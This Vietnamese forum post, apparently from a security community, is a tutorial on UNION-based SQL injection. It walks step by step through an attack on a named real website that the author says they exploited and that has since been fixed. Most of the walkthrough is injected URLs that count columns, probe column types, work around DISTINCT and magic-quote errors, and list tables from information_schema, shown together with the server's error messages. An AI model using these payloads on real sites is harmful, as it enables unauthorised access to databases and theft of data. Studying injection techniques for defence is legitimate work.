Tutorial hiểu rõ hơn về UNION trong SQL Injection

Du SE

W-------
21/10/2013
0
9 bài viết
Tutorial hiểu rõ hơn về UNION trong SQL Injection
Hôm nay mình xin được viết một bài tut về UNION trong SQL Injection, hy vọng các bạn sẽ ủng hộ và góp ý cho bài viết của mình :)

Sau đây mình xin được lấy một link victim mình đã từng khai thác trước đây và đã thành công để làm ví dụ. (Lưu ý: victim đã fix lỗi rồi nhé)

Victim:

Mã:
http://www.peric.ac.cn/product.php?product_id=2'

+thứ 1:
SQL injection thì phân biệt mysql injection và mssql injection là chính
còn php và asp chỉ là vấn đề phụ...1 số bạn lại nhầm tưởng
+thứ 2:
UNION dùng để kết nối 2 mệnh đề SELECT có hỗ trợ cả mysql và mssql nên có thể xài ở mọi trường hợp
+thứ 3:
mysql kết hợp tốt với php nên thông thường các bạn hack site php chỉ gặp mysql...nhưng ko tuyệt đối là thế mà có thể là mssql,oracle....
+thứ 4:nói thêm (có sai thì mấy pro góp ý)


VD:id=1 các bạn sửa lại thành id=-999 or id=null làm gì?
để mệnh đề SELECT thứ nhất ko trả về kết quả
giả sử trên 1 page có 3 chỗ echo ra kết quả mà SELECT thứ nhất trả về 3 kết quả thì hết chỗ...SELECT thứ 2 tuy trả về kết quả nhưng ko có chỗ echo ra


+thứ 5:
cấu trúc UNION:


Mã:
SELECT id,user,pass,level from test UNION SELECT 1,'a','b',2 from example
VD trên nghĩa là type các column trong 2 mệnh đề SELECT phải giống nhau


Áp dụng:
trở lại site victim trên


Mã:
mssql_query
=> nghĩa là nó sử dụng sql server or mysql
attack = UNION nha
đầu tiên đếm column đc 4 column


Mã:
http://www.peric.ac.cn/product.php?product_id=-2 union select 1,2,3,4 from information_schema.tables--
type khác nhau


Mã:
http://www.peric.ac.cn/product.php?product_id=-2 union select null,null,null,null from information_schema.tables--
null ko có type nên bypass tốt


Mã:
Warning: mssql_query(): message: The text, ntext, or image data type cannot be selected as DISTINCT. (severity 16) in /home/www/peric/product.php on line 262
DISTINCT là gì thì các bạn tự tìm hĩu (đơn giản là lọc kết quả trùng nhau)
để khắc phục thì xài union all select
kế típ dò type từng column


Mã:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,null,null,null%20from%20information_schema.tables--
vẫn bt =>column type int(thường là ID mà )


Mã:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,null,null%20from%20information_schema.tables--
ra số 2 đẹp đẹp


Mã:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,3,null%20from%20information_schema.tables--
báo lỗi nên change thành '3','a',.. gì đó miễn là type char

Mã:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,'3',null%20from%20information_schema.tables--

Mã:
Warning: mssql_query(): message: Line 1: Incorrect syntax near '\'. (severity 15) in /home/www/peric/product.php on line 262
=> hình như bị magic quote(là gì thì bạn tự tìm hiểu nhé )
=>chuyển thành


Mã:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,table_name,null%20from%20information_schema.tables--
tương tự


Mã:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,table_name,4%20from%20information_schema.tables--
tiếp theo thì chắc các bạn biết roài :D

Chúc các bạn tích lũy kinh nghiệm thành công!
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Bạn nên bỏ code vào thẻ php cho dễ nhìn nhé thread.! Thân
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bên trên